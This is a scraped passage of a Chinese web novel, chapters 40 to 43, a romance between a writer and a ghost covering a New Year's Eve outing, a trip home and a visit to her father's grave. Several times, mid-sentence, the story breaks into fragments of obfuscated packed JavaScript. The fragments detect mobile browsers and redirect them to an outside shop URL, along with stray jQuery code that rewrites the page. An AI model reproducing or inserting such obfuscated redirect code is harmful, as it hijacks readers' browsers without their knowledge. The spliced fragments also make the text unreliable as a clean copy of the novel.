喻声把他赶回客厅后去洗了个脸,前后不过五分钟,出来后沉默地看着江时又躺到了她的床上,躺得心安理得,说出口的话语气又十分自然。 “我今晚要睡这里,外面太多鬼了我好害怕。” 喻声:“……?” 你的招数还能再拙劣一点吗? 昨天发信息说自己眼都不眨一口气打跑十个的到底是哪位? 喻声不接招,拍拍江时的手想拉他起来,结果被扯着往他身上倒。 他可怜兮兮:“我是真的累了。” 见喻声不说话,他又亲了亲她的额头。 喻声:“贿赂我啊?” 江时眼睛亮晶晶:“贿赂到了吗?” 喻声稍微撑起身,食指抵在他嘴边,问道:“你确定你真的累了?” 江时眨眼,没说话,非常迅速地点点头。 喻声:“……好吧。” 江时笑了起来,脸颊轻轻鼓动,又挤出小括弧,和挂在床头的那只毛绒小狗简直长得一模一样。 喻声顺势揉了一把他的脸。 他得寸进尺,又把她往怀里捞,喻声手往后伸,也不用看,实践经验丰富,一拍一个准。 江时:“……被打了能不能索赔?” “不能。”喻声笑着收回手,“犯规了还想要赔偿?” 江时还想说点什么,被骤然响起的电话铃声打断,他叹了口气,手松开瘫在两边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16951325|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻声憋笑地直起身,也意识到每晚要和春华女士打电话的时间到了,她拿了手机,打算先去客厅接电话。 走到卧室门口,她转身:“一会儿打完电话,陪我看会书?” 后面的人支着脑袋,笑着回了声好啊。 临近跨年,天气降温得更厉害,春华女士每天晚上都会和喻声通个电话提醒她多穿衣服,一般是喻声打过去,少数时候像刚才那样有事耽搁了,又快到春华女士的广场舞时间,就会有主动打过来的电话。 开场白通常是:“晚饭吃了没有啊?” “吃好了。”喻声往沙发上一坐,“吃了酸汤水饺和小炒牛肉。” “我上次包了寄过去的那些?”王春华那边的背景声音嘈杂,风声呼呼的,听起来像是已经到广场上做准备工作了,“怎么吃到现在还没吃完?” “没舍得吃啊。”喻声说,“今年过年比较早,一月底我就回家了,奶奶你可得多替我先多包点存着,我下飞机了第一顿必须吃上。” 王春华:“这还不容易?你回来前一天吱一声,现买现包,这有啥舍不得吃的,吃完了再给你寄过去。” 喻声忙道:“够了够了,等我回家再吃就行。” 她又问:“去跳舞啦?” 王春华“哎”了一声,说了今天电话打得早的原因:“今天编新舞呢。” 喻声:“有没有多穿点啊?” 王春华说:“穿得可厚了,一会儿跳起舞来还得嫌热呢。你就不用管我了,倒是你,你打小身体虚,入冬了还不爱加衣服,现在自己一个人了更得多穿两件知道吗?” “知道了知道了。”喻声说,“好不容易今天轮到我先问你,怎么还是被数落了?” 王春华冷哼:“你以为这么多年的奶奶是白叫的?” 喻声直接宣告投降。 王春华乘胜追击:“生生啊,我来跳舞的时候遇到你谢姨了,你还记得吧?就是我上次跟你打电话,她家小孩玩招鬼游戏那个,本来好久不联系了,经那次后就熟络了起来,她家还有个工作了好几年的男孩,就比你大个两三岁吧,叫唐敬,敬爱的敬,我看了照片,人还挺不错的,长得周正,还有编制,联系方式我都拿到了……哎!你们先跳,我先和我孙女打完电话,晚点再加入你们!生生我跟你说啊……” 喻声:“……” 谁能来救救她。 - 江时今天确实累到了,他本来还想等等喻声,但不知怎地先睡着了,更古怪的是,这是自从他变成鬼后,第一次和人类一样陷入梦境。 他像是解离,以旁观者的角度参与了这场梦。 有一个女人背对着他,怀里抱了个孩子,明明是很温馨安静的一幕,偏生她手上拿着个拨浪鼓拼命摇晃,那鼓这么声声振响,怀中的孩子却像是没听到似的,不哭不闹,安静地睁着眼与女人背后的江时对视,那眼睛黝黑如磁石,像要把江时吸进去。 下一秒,场景置换,江时看到了另一个自己。 他闭目坐在床上,旁边是个穿着长褂的男人,男人手捏着符纸,往空中一挥,符纸立刻贴到了床上人的眉心上。 江时本来还在看着,那男人却突然转过身来对着他说了句什么。 江时定在了原地。 而后,有股力猛然向他袭来,他硬生生地被推出梦境。 江时喘着气醒来。 做梦的时间很短,喻声还没打完电话。 他听到了。 那个男人对他说的是—— “回来吧。” 40. 101岁 今晚第三杯水已经喝下去,喻声深觉自己要是个间谍就好了,至少刚才和春华女士那通长达一个半小时的,关于那个叫什么来着—— 喔,唐敬。 至少刚才和春华女士那通长达一个半小时的,关于唐敬详细的生平事迹介绍的电话是有价值的。 可惜她不是。 她只是个写文的。 如果把这一段写成文,大概率会被质疑在水些什么,放海呢。 ……所以她只能打电话时在春华女士看不到的地方保持脸皱成一团的表情,打完电话后又实在觉得好空虚。 败也谢姨,成也谢姨,要不是谢姨大老远喊春华女士赶紧去跳舞别掉队了,喻声也没能这么快解脱。 她刚想起身回房间,电话铃声又重复响起,喻声抬手一看,陌生电话。 在她去倒第四杯水的间隙,同一个号码的电话停歇又响起。 喻声迟疑地接起电话,等对面先开口。 对面声音温润:“喻声,我是舒云霁。” 喻声这才想起来是怎么回事。 之前有一次去福利院,听秦奶奶说过最近有志愿活动在招志愿者,本着和舒云霁有过约定就发了条信息把志愿活动的内容发给了他,结果他当天在医院值班没看手机,等回家后想去登记已经没有名额了,这才和喻声交换了电话号码,说是下次有类似情况可以直接打电话给他。 不过当下喻声想着如果有需要打电话的话直接翻聊天记录找电话号码就好,就没及时存,才会在他打第一通时以为是骚扰电话没接。 喻声把水杯放下,笑着打了个招呼后问道:“这么晚找我是有什么急事吗?” “马上就要元旦了。”舒云霁说,“我刚好31号晚上休息,就想来问问你那天晚上有没有空,加上小繁一起,去吃个夜宵。” 他停顿后又说:“到时候可以在江边逛逛,有倒计时活动,也算是一起跨年了。” 喻声没把话说太满:“我接了些工作,如果顺利的话应该可以。” “那就先暂时定下了?”舒云霁的声音莫名变得有点轻快,“我把地址和时间发给你,如果有空的话你就过来。” “好。”喻声笑了笑,“我尽量早点完成工作。” 最后再寒暄了几句,是喻声这边先挂了电话。 喻声侧身,看到江时从卧室出来,于是第四杯水被他占为己有,以一杯他温好的牛奶作为交换。 他早早就准备好了最近一直在读的书,牵着喻声想往阳台去,被喻声拉住,他扭头,喻声说:“你不是累了吗?要不你回房间躺着吧,我去房间读就好。” 江时笑:“没事,我休息过了,去吹吹风清醒一下也好。” 他这么说,喻声也不再反驳,被他牵着坐到阳台的休闲椅上。 自从舒云繁当时来烧烤,这里摆的两把椅子就没再动过,后来喻声常来这边读书,伴着日景夜景读,风多吹两页都能就此多看两页。 最近被风吹过的是茨威格的《人类群星闪耀时》。 喻声抱着书读,霎时间阳台只剩她翻页的声音,读到精彩处本想提笔做个批注,一移视线寻小木桌上的笔,就看到江时把翻开的书搁在腿上,他闭眼仰头,浸在夜色里,要不是指腹在书上轻点,喻声险些以为他睡着了。 明明有可能睡着的是他,喻声却感觉是自己在做一场清醒梦。 他从始至终都带着透明的底色,像一阵风,明明离她那么近的距离,就隔着一个小木桌,却好像一闭眼就把所有情绪收敛搅进了那团风里,因为在阳台,窗户半阖着,空气流动,有其他的风要进来,就会把室内的挤出去。 起风了。 不是梦。 本意是想来吹吹风,现下好像有点冷。 喻声下意识握紧了那杯还温热的牛奶。 大概是视线太过明显,江时没睁眼就先笑着轻轻问:“怎么这么看着我?” “看你在想什么。”喻声回过神来,说。 “在想是否会有前世今生。”江时维持着姿势不动,只是眼睛睁开之后头转过来,问道,“牛奶怎么还没喝完?快凉了。” 喻声喝了一口,叫他别打岔:“你成为鬼后又经历了一百多年,这也算是一种前世今生吧?” 风把书页吹动,江时索性合上书搁到桌子上,微俯身说道:“我刚刚做了一个梦,梦到了另一个自己。我清楚地感知到他是人不是鬼,他穿着这个时代的服装,他和我有着很相似的情绪,但比现在的我要不快乐得多。” 喻声笑着问他:“所以现在的你很快乐吗?” 阳光侧面装了一盏灯,规规矩矩地照着喻声的位置和小木桌的一半,喻声尽可能将身体往椅背上贴,让光流动,去拥抱江时。 “打岔的到底是谁?” 江时笑了起来,“不过,嗯,现在的我确实很快乐。” “如果另一个你真的存在,我也希望他会快乐。”喻声说,“因为是江时,所以我希望他能快乐。” “可是另一个我没有你。” 很久后,江时说。 “可是我希望这个世界能给你的快乐比我能给你的快乐更多。”喻声抬手,江时就凑过来,看出他不开心,她就握住他的下巴用食指替他扬起嘴角,“因为这样你就会爱这个世界,会忘记曾经这个世界带给过你很不好的回忆。” “我可能做不太到。” 喻声渐渐松开捏住他下巴的手,视线一直往上,停留在他眼睛处。 “我没法爱这个世界比爱你更多。”江时说,“但说不定那个没你的我可以,他没有参照物,没有爱过你,所以只能将就着爱这个世界。” “听起来像歪理。”喻声笑,“你对我也太偏心。” 江时思忖:“那等我下次做梦再帮你问问好了。” 喻声好奇:“问什么?” 江时的眼睛笑得比外面的月亮更弯更亮:“问另一个我快不快乐,然后再好好向他炫耀一下。” “你知道你现在像什么吗?” 喻声手臂撑在小木桌上往江时那边靠,饶有兴致地歪头打量他。 江时扬扬眉。 “你看过猫和老鼠吗?”喻声笑眯眯地点评,“你就像刚挑衅完tom的jerry。” 很幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒云霁还想说什么,舒云繁一把把菜单抢了过去:“推辞啥呀你们俩,我来点吧。” “那你点吧。”喻声莞尔看她,又转头看向舒云霁,“你们喝什么水,我去冰柜拿。” 舒云繁认真看着菜单没抬头:“我要喝北冰洋。” “那我也一样就行。”舒云霁问,“拿得动吗?我和你一起去吧。” 江时猛然抬头。 “不用了,我去就好。”喻声站起身,在无人注意的角落里偷偷拉了拉江时的手,“你监督一下舒舒吧,别让她点太多了,她每次点单都点一堆,吃不完的全留给别人了。” 舒云繁:“……喂!” 舒云霁笑了起来:“保证完成任务。” 舒云繁:“……喂!” 喻声打开冰柜抱了三瓶北冰洋在怀里,江时在旁边替她把门关上。 他叹了口气:“我还以为是我们单独约会呢。” “跨年热闹一点也好,我也好几天没见舒舒了。” 江时:“那舒云霁是……?” 喻声眨眼:“他提出来聚一下的。” 江时拖长音调:“有妹妹真好啊,借妹妹的名义就能约到别人的女朋友。” “第一次见面他跟我要联系方式那碟醋你吃到了现在啊?” “其他先不谈。”江时抬脸问,“他凭什么比我先拥有你的联系方式?” 喻声:“……” 又提,又提。 要是让他知道春华女士还致力给她安排相亲这还了得? 41. 101岁 离零点还有两三个小时,店里人变多了起来,风从大开大合的门口涌入,嘈杂的、温暖的。 开放的灶台烟熏火燎,碰杯的声音此起彼伏,一个平平无奇的日子,因为能表达爱,能和喜欢的人、很久没见的人聚在一起,被烘托、被赋予了很多新的意义。 喻声不爱挤在人群里,却也由衷喜欢这样的,像热可可上快融化的棉花糖一样的时刻。 拿完饮料回来还没坐下,舒云霁张口就问:“喻声,你吃晚饭了吗?” 喻声迟疑:“吃过了,怎么了吗?” 舒云霁利索地开好瓶盖后第一瓶递过来,歪头向舒云繁那边一点,半无奈道:“我实在没拦住。” 喻声笑着摇头,接过北冰洋说了声谢谢。 “声声,我点的都是你喜欢的。”舒云繁兴奋地一合掌说道,“铁板豆腐、椒盐排骨、香菜牛肉、蒜蓉生蚝,还点了什么来着?哦,还有烤茄子和一些串串,串串我就随便点了,你等会儿就挑自己喜欢的吃,不满意再点,人太多了要赶紧下单,我就没等你回来细看。” 舒云霁开好第二瓶北冰洋要去堵她的嘴:“你那是一些串串?拿过来得堆成山了。” “我就是开心嘛。”舒云繁回瞪了舒云霁一眼,喝了一口汽水后视线绕过半圈又笑着回到喻声这边,“往年我都是在家很无聊地看电视,没想到今年还能出来过。” “早知道该带豆乳出来。”喻声笑,“它不知道会不会很无聊。” 豆乳没来,她也没法跟江时说话,他估计也会很无聊。 店里养了小狗拴在门口,如果客人也带了自己的小狗来会被安排到门外的专用座位坐,这样一来怕狗的客人往里坐不会被吓到,小狗也能跟着凑凑热闹。 江时听着,在另一边煞有其事地点点头。 舒云繁长叹一声:“我都不知道这里能带小狗来。” “不过也好。”舒云霁说,“外面等着倒计时的人应该很多,带着豆乳也不好走。” “那等会给它打包一点吃的带回去。”舒云繁手撑着下巴,目光来来回回地跟随着送餐出来的老板,“好急,怎么还不到我们。” “来了。”喻声提醒她。 话音刚落,铁板豆腐和香菜牛肉上桌。 江时转过身去,背靠着桌子看夜景,三个人边吃边聊,从工作聊到工作,被舒云繁紧急制止:“……你们俩能别煞风景了吗?” “知道了。”喻声弯了弯眼,顺手从又新上桌的烤串盘里拿了一根烤牛肉丸递给她,“快吃吧,马上就要零点了。” 舒云霁笑着没说话,夹了块烤茄子到碗里。 喻声注意到他正把茄子上的葱挑掉,有点好奇:“你也不吃葱?” 舒云霁抬头:“也?” 江时调转了个身,笑着看向喻声。 “有朋友也不吃葱。”左一口右一口的,喻声已经快吃撑了,她忽略掉江时带着笑意直勾勾的眼神,放下筷子后说,“看到就想起来了。” 江时不满:“朋友是什么意思?” 舒云繁比他更不满:“放下筷子是什么意思?” 桌子上是一堆还没吃完的食物,喻声望天:“我就是休息一会儿。” 显然在带队的舒大将军这里没有逃兵这一说,她马不停蹄地以迅雷不及掩耳之势夹了一堆吃的进喻声碗里。 “够了够了够了……” “这哪里够啊?你多吃点!” “真的够了!” “你不是刚刚还在夸他们家铁板豆腐好吃吗?还有我亲爱的哥哥,你也别停下啊,想吃什么我给你夹!” “……我发现你一叫我亲爱的哥哥就准没好事。” “不要这么说我嘛……” “……” ……舒大将军带着队伍算是抗战胜利。 日历上维持一年不变的数字要在五分钟后往前走一步,他们出来得晚,站的位置靠后,好处就是没有前方那么挤,至少江时还有位置站,牢牢地跟在她身后,不用和人共用一块地方。 吵吵闹闹声中,舒云繁挎着喻声,眼睛亮亮看着前方即将显示出倒计时的大屏:“一会倒计时到三我就要开始许愿了!” 烟花绽放在舒云繁说“许愿”的结尾,喻声被人群挤得有点胸闷的感觉消散了些,她笑着说:“你的愿望一定会实现的。” “声声。”舒云繁看了眼舒云霁,又转头看回来,“我今年最幸运的事就是遇见了你。” 舒云霁也适时将视线移过来,笑着小幅度地跟着点了下头。 “我也是。”又一阵烟花炸开,将底下乌泱泱的人群每个人的表情都照亮,开心的、轻松的、还有像喻声一样幸福的,她笑着说,“今年是我在东宜过的最开心的一年。” 对面的大屏开始变得比烟花还亮,人群骚动着,欢呼着,有人跟着大屏的倒计时一起声嘶力竭地大喊:“10!” 他一带动,大家都一起跟着喊:“9!” “8!” 喻声的心跟着再次升空的烟花一起往上飘。 “7!” 这是她和江时在一起跨的第一个年。 “6!” 6秒后的未来是什么样的呢? “5!” 她的手突然被牵住了。 “4!” 舒云繁说,倒数三秒的时候要许愿。 “3!” 她闭眼。 在人声鼎沸中,心突然变得好平静。 “2!” 她的手回牵得更紧。 “1!” 她唯一的愿望,是想永远牵住这只手。 “新年快乐!” “2020年快乐!” 喻声没有跟着一起喊新年快乐,睁眼的下一秒,她就下意识找江时。 永远是什么呢? 她在找他,于是他没有动,就静静站在那里,笑咪咪地看着她,和以往很多次一样。 喻声仰着脸,用口型问他都许了些什么愿望。 江时的手指勾了勾她的手心。 他说:“喻声,我没什么愿望了。” 想要的已经得到,过去的受过伤的已经愈合成痂。 “你呢?” “你呢?声声,你有许了什么愿望吗?” 两道声音重叠在一起,喻声回头去看舒云繁,才发现她和舒云霁一直看着她。 喻声笑着摇摇头:“说出来就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16982665|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵了。” 但喻声想,大概有人能足够了解她,比神明更先知道她的愿望是什么,又比神明,更能满足她的贪心。 可能只过去了两秒,他低头,倾身,附在她耳边轻轻说。 “如果你的愿望是有关于我,没有独属于你自己的话,那我的愿望就是希望你能幸福。” - 豆乳如愿以偿地吃上了跨年饭,在它大快朵颐期间,喻声收到了许绘林的祝福信息。 许绘林:「新年快乐。」 喻声摸着豆乳脑袋,也回:「新年快乐。」 冬天太冷了,连敲字都变得僵硬。 喻声敲了半天才把问句发出:「还在值班吗?」 许绘林:「嗯。」 许绘林:「你回棉城了吗?」 喻声:「值班辛苦了。」 喻声:「还没有,过几天回。」 许绘林:「等你下次回来,有空的话再一起去吃土豆粉吧。」 喻声顿了顿:「好。」 她们的对话一直处在不尴不尬的境地之中,人和人的关系太奇妙,相遇后离别,离别后又相遇,像把水反复烧开,约定下一次煮沸的时间前只能先放任其冷却。 回棉城不过待个十天八天的,喻声的行李并不多,还得留一半从棉城搬春华女士的爱回来,但她收拾得很慢,刚把最重要的电脑放进去,好半天才收拾出几件衣服出来。 大概是因为跟了个不同意水冷却下来的尾巴。 喻声把围巾叠好放进行李箱里,直白地拒绝他:“不行。” 江时脸垮下来:“可是我会想你。” “你忘记我跟你说过什么了?”喻声问他。 “……没忘。”江时说,“你奶奶可以看到我,所以我不能出现在她面前。” 喻声抬手捏了一下他的脸颊又蹲下收拾衣服,问道:“那你还在纠结什么呢?” “要很长时间不能见面。”江时声音闷闷,眉毛又轻轻皱起,手里倒是没停下替她收拾的动作,“你不会想我吗?” 护照、充电宝、充电线—— “不会很长时间的,过完年我就回东宜。”喻声一边听着江时说话,一边分神去想还有什么东西需要带回去的,她抬头环顾了一圈,拍拍他的手臂吩咐他,“桌子上的身份证帮我拿一下。” 江时听话起身,去桌子上拿了身份证,转身时大衣带子扫过,一张纸飘落地上。 他捡起,没看内容就迅速叠好,问道:“这个不带回去吗?” 喻声抬头。 是她写给春华女士的信。 她偶尔会写一些,从临近毕业的时候开始写,断断续续地,攒到现在也攒了厚厚一沓,江时问过,但他知道这是信后就会刻意避开她写信的时间,充分保护她的隐私。 喻声笑了笑,起身从他手里接过身份证和信,信又重新被放回了抽屉里:“不急,先放着吧,之后有机会再一起给。” “好吧。” 江时蹲下,又锲而不舍地绕回一开始的问题,在喻声说会给他打电话后终于妥协,“那你说好了,过完年后就回来。” “嗯。”喻声手撑在关好的行李箱上抬脸亲亲他的下巴,“等我回来。” 42. 101岁 棉城和东宜从天气开始就很不一样。 棉城的初雪早在十二月初就降临,快两个月以来接连不断地下,室外温度比东宜要冷得多,喻声落地后弯腰钻进出租车里,才有除感叹天气以外的心情去透过车窗欣赏好久不见的棉城。 直走再直走,红绿灯后要拐弯,街角大树下有一家咖啡店,有很好吃的提拉米苏。只是那棵树在冬天应该会变得光秃秃的,这么久没见,不知道还认不认得出来。 她的脸,和这座她成长的城市在玻璃车窗上紧密相贴。 只是光看看而已,就觉得太熟悉,也有点陌生。 “是放假回来还是来旅游啊?” 司机透过后视镜瞥了喻声一眼后又收回视线,热情问道。 思绪被切割,喻声一顿,转过头直视副驾驶的靠背,简短回答:“放假回来。” “那你应该离开棉城好几年了吧?”见喻声肯搭话,司机聊得更起劲,“一点棉城口音都听不出来。” “也没有。”喻声笑笑,“就是这几年回来得少,以后会常回来。” “这就对了嘛。”司机滔滔不绝,“棉城多好啊,我在这里生活四十多年了,棉城虽然不比那些大城市服务水平高,但安稳啊,去哪里都方便,你看外面,现在节假日也不会到处人挤人的……” 司机越说越远,拐过街角那棵树时已经扯到他小时候生活的艰辛上去了,喻声左耳朵进,右耳朵能出则出,她错开眼,重新看向窗外,庆幸那棵树还认得出来。 雪花充当树叶,也算得上是枝繁叶茂。 出租车开不进小巷,在路口就停,喻声推着行李箱下车,耳边取代司机声音的是脚下咯吱咯吱的踩雪声,这才突然有了回到棉城的实感。 踩雪声很快消失,她没带钥匙,按了好几下门铃未果后刚想摸出手机,才听到急匆匆汲着拖鞋走来的声音,连带着好几声“来了来了来了”—— 只是光听听而已。 就有要落泪的冲动。 门从里面打开,喻声笑眯眯:“奶奶!” “诶!”王春华在衣服上前后擦擦手后接过喻声的行李箱,半埋怨道,“怎么不一下飞机就给我打个电话?我好先把饺子煮了,让你一进门就能吃上。” “哪有这么着急?”春华女士爱干净,带着行李箱回家的话她总要在门口帮喻声把万向轮都擦干净再拿进来,喻声索性从她手里拉过箱子先放在门口,揽着她就赶紧往屋里走,“行李箱我一会儿再自己收拾就好了。” “可算是回来了。”王春华边走边替她搓搓冻红了的手指,说道,“奶奶都想我们家生生了。” “春华女士。”喻声快整个人倚靠到王春华身上了,她故作叹气,“你怎么抢我的台词啊。” 王春华拍拍喻声的手背:“还不是你每次打电话都要问我?” “但我还是想问。”喻声跟随着她进了厨房,看她煮开水,数饺子,再整整齐齐下锅,问道,“春华女士想我了吗?” 煮饺子间隙,王春华笑着回道:“没有你,奶奶都快枯萎了。” 喻声一顿,静静看着在锅里上下起伏的饺子,在热气腾腾中轻声道:“就算没有我,春华女士也会活得很漂亮啊。” 煮饺子的水和蒸鱼的水同时滚动,盖过喻声的声音,王春华偏头问:“刚刚说了什么?” 喻声笑着摇摇头:“饿了,想快点吃上饭。” “快好了,你先出去。”王春华赶她走,“看看是不是在桌子上有一串佛珠,新给你求的。” 春华女士常念叨的“健康、平安”,在她替喻声所求的一串串佛珠里。 喻声垂眼应下,出了厨房。 她就这么静静站在桌子前摩挲佛珠,一颗、两颗,往下拨,冰凉的质地,无端想起第一次接吻时,她也曾这么数过江时的牙齿。 那个数不清,这个数得清,十二颗,喻声刚数完两圈,王春华就端着蒸鱼和饺子出来了,她搁下佛珠,绕了半张桌子坐到王春华身边。 喻声慢吞吞地吃,王春华看向被喻声放在原位的佛珠,像往常一般提起:“最近还有遇到鬼吗?” 喻声僵了一瞬,顾不上烫地囫囵吞了个水饺,抿着嘴想着怎么糊弄过去。 喻声抬头,刚想说句“没有”,就看到王春华的表情瞬间凝重了起来,这句“没有”也因她接下来的话卡了壳。 “有点不对劲。”王春华上上下下细细打量了喻声,缓缓说道,“不是鬼。” 喻声眼皮一跳,故作轻松地说:“什么不是鬼?我遇到鬼不是很正常嘛。奶奶,你是不是想太多了?” 王春华摇头,接着往下说:“鬼的味道很重,焦味、霉味都有,如果你最近真的接触了鬼,我不至于闻不到、看不到。你现在身上确实有灵体的气息,可至纯至净,才一开始被我忽略掉。和鬼味不同,大概是灵魂。” “你和他很亲近。”王春华定了定神,夹了一块鱼肉放进喻声碗里,“生生,要不要和奶奶说说,那是谁?” 那是谁? 他能恢复被破坏的绿植,能清除她身上的雨水,他能做很多鬼做不了的事,他在对付其他鬼这方面确实很厉害,很多明显业力比他强的都打不过他。 原来她是如此迟钝。 外面的雪好像停了,没再听到声音。 喻声草草结束了回来的第一顿饭,强撑着笑把春华女士推出门去找其他老太太玩,她自己则洗完碗后回到房间。 她的房间很小,一张书桌一张床就快占满,更何况行李箱打开摊在地上,几乎没什么再下脚的地方。 毕业后,很多书都已经腾走卖掉,那张书桌的立式书架上变得很空,渐渐地仅剩一本相册,或许那些很少再触碰的回忆还崭新,但相册薄不留情面,它与回忆相悖,就算很少翻阅,泛黄却真实存在。 喻声靠在床头,就这么打开相册。 照片多是身为摄影师的父亲喻之樾拍摄的,喻声八岁以前拍了很多。 她的脸上还留有唇印,高敏笑着单手抱她,另一只手挡着烛光防止她害怕,烛光底下是水果蛋糕,有一块奶油将塌未塌,被一颗草莓辛苦撑着。 背后是喻之樾的字迹,写着:摄于1998年6月25日,小喻生的两岁生日。 要不是照片提醒,喻声差点忘记,这个时候,她还没改名。 越过十几页的照片后,有一张,她扎着马尾,规规矩矩坐着,脸上的笑容极浅极淡,这么撑着笑,都不见脸颊肉的出现。 摄于2002年8月11日,小学入学证件照。 从这张照片往后,每年拍的照片数量骤减,几乎只剩一年一张。 除了她,大家都好像变得很忙。 2004年5月25日,喻之樾去世。 2005年1月25日,父亲去世后第八个月,她正式改名,从“喻生”改为“喻声”。 声字没什么含义,只是音同生,方便读书的日常称呼。 此后相册薄一片空白。 可明明不该一片空白的。 她明明已经在为新的开始做准备。 相册薄上又添了新的痕迹,喻声用袖子胡乱擦掉,她抬头,直到眼前雾气散去才蹲下垂眼在行李箱里摸索,取出和江时拍的那三张拍立得。 临山一张、他的生日一张、和饼干的合照一张,她不变,他逐渐清晰。 给她做饼干拍的那张拍立得,江时在下面空白处写下: 「曾和喜欢的人有过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17003471|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的瞬间。」 那是谁? 江时、江时—— “很喜欢的人。”喻声吸吸鼻子,看向王春华,近乎哽咽,“奶奶,那是我很喜欢的人。” 王春华并不惊讶,只是深深地叹了一口气,她揉着太阳穴,看向那串佛珠,喃喃自语:“十二颗,十二因缘,注定的啊。” 此话一出,喻声才明白春华女士刚才的疑问并非单单只闻到她身上携带的气息那么简单。 她执着地问:“如果真的是灵魂的话,在什么情况下会逐渐变得清晰?” “当怨气散去,不再执着于困住他的那个痛苦的时候。”王春华说,“魂魄是一种精神灵气,人去世时,魂魄也会跟着离散;按照你所说的情况,他的精神灵气徒留人间,很有可能本体还在,你所见的只是三魂七魄中的一魂。当灵气逐渐清晰,开始壮大,马上就是他回归本体的时刻。” 喻声靠着椅背低着头,默不作声。 “……那也将是你们分别的时刻。”王春华沉默片刻,最后说道,“生生,奶奶不想让你受伤。你谢姨家的唐敬,我本来想让你们在春节见见面,交交朋友也好。既然这样,奶奶先帮你拒了。但奶奶还是希望你能明白一点,就是在能处理的时候选择放下,好过抱憾终身。” 抱憾终身她早已体验过。 她没有想哭,相册薄却替她承接过各种眼泪,过去,现在,也许会有未来。 而这个未来,离她如此近。 喻声把拍立得塞进相册薄里,拢了件外套就出了门。 雪原来一直没停,仿佛她在屋内的一切感知都只是错觉。 她没走几步路,胸口开始闷痛,只好越走越缓,从花店走到墓地,花了很长时间。 喻声蹲下,倾身,伸手扫过照片上的积雪。 她轻声唤起:“爸爸。” 于是三十岁的喻之樾笑着注视她。 “好久没来看你,你会怪我吗?”喻声把带来的花抱了起来,给照片上的喻之樾看,“我今天在家翻相册,很多张照片里你都给我买了花。我想,你应该也是喜欢花的,只是不知道你喜欢哪种,索性什么品种的都给你买了点。如果你还在怪我的话,看到花就消消气好不好?” 花还带朝露,是最新鲜的。 “不过在我的记忆里,你从来就没有对我皱过眉。”喻声放下花,弯起眼睛温声道,“你又不会变,对吧?” 她絮絮叨叨地,讲了很多过去的事,也讲了现在的生活:“我现在长大了,有个很喜欢的人。我不知道你有没有见过他,不过我猜,应该是没有的,毕竟这么久了,我也没在我身边见过你。如果你偷偷见了他却不来见我的话,爸爸,我会很生气的。” “我生气的话,你会像小时候一样哄我吗?我现在仍觉得一切都没变,你给我买的图画书我一直没舍得扔,它不在书架上,但那个柜子我很少打开了,我怕看到它的刊期仍停留在04年初,它会提醒我你怎么不在了——” “——也会提醒我,除了放下,我无能为力。” 蹲下久了,胸口处那种缓慢的钝痛还在。 痛感持续,语言也开始失控。 “你当时离开的时候,所有人都在劝我放下;妈妈出国,我依旧被劝着要学会放下。”?喻声颤声问,“爸爸,为什么每件事情发生时,我都只能选择放下呢?为什么我的人生从来没有一件事是我能牢牢抓在手心的呢?” 雪花纷纷落落,天地一片白。 临山赏雪那晚,喻声曾和舒云繁说过,棉城虽然也会下雪,但远不及临山的雪厚。 但此刻在棉城雪下,怎么也擦不干净喻之樾照片上覆的雪时,却觉得这雪怎么如此倾盆厚重,像势必要把一切都掩盖。 43. 101岁 爷爷在喻声未出生前就已经去世,喻之樾又是家中独子,旁系亲属不多,该走动的也基本上在年前就走动完、送好礼了,除夕和往年一样,就喻声和王春华两人过。 虽说只有两个人,但该准备的年夜饭一样都没少,春华女士一大早就起来张罗了,喻声将屋子里里外外大扫除了一番后就去帮忙打下手,但她电话不断,就被春华女士从厨房里赶了出来。 喻声扒着门说一会儿接完电话就回来,厨房门就被春华女士无情关上了。 喻声:“……” 嫌她在更碍手碍脚是吧。 她回家后就一直在虚度时光,天天睡到十一点多,起床就和春华女士晒晒太阳种种花看看电视,工作都快抛到脑后去了,也不知道带个电脑回来是干嘛的。 喻声把这些说给江时听的时候,他在电话那头反而笑着说,这不叫虚度时光,叫生活。 喻声沉默了好几秒,回答他说对。 她真正沉浸在生活之中时,就能什么都不想,什么都不管,仿佛有种能维持现状的幻觉。 仿佛这样,日子会更长一些。 江时说那也不太好。 他希望这段日子再短一些,能早点见到她。 很突然地,他说,他很想抱她。 脸埋进枕头后良久,喻声低低地嗯了一句,说那我会比你更贪心一点。 与其说是陪春华女士,喻声想,不如说是找个人陪着自己,也不至于独处的时候想东想西,导致她这几个晚上都睡不太安稳。 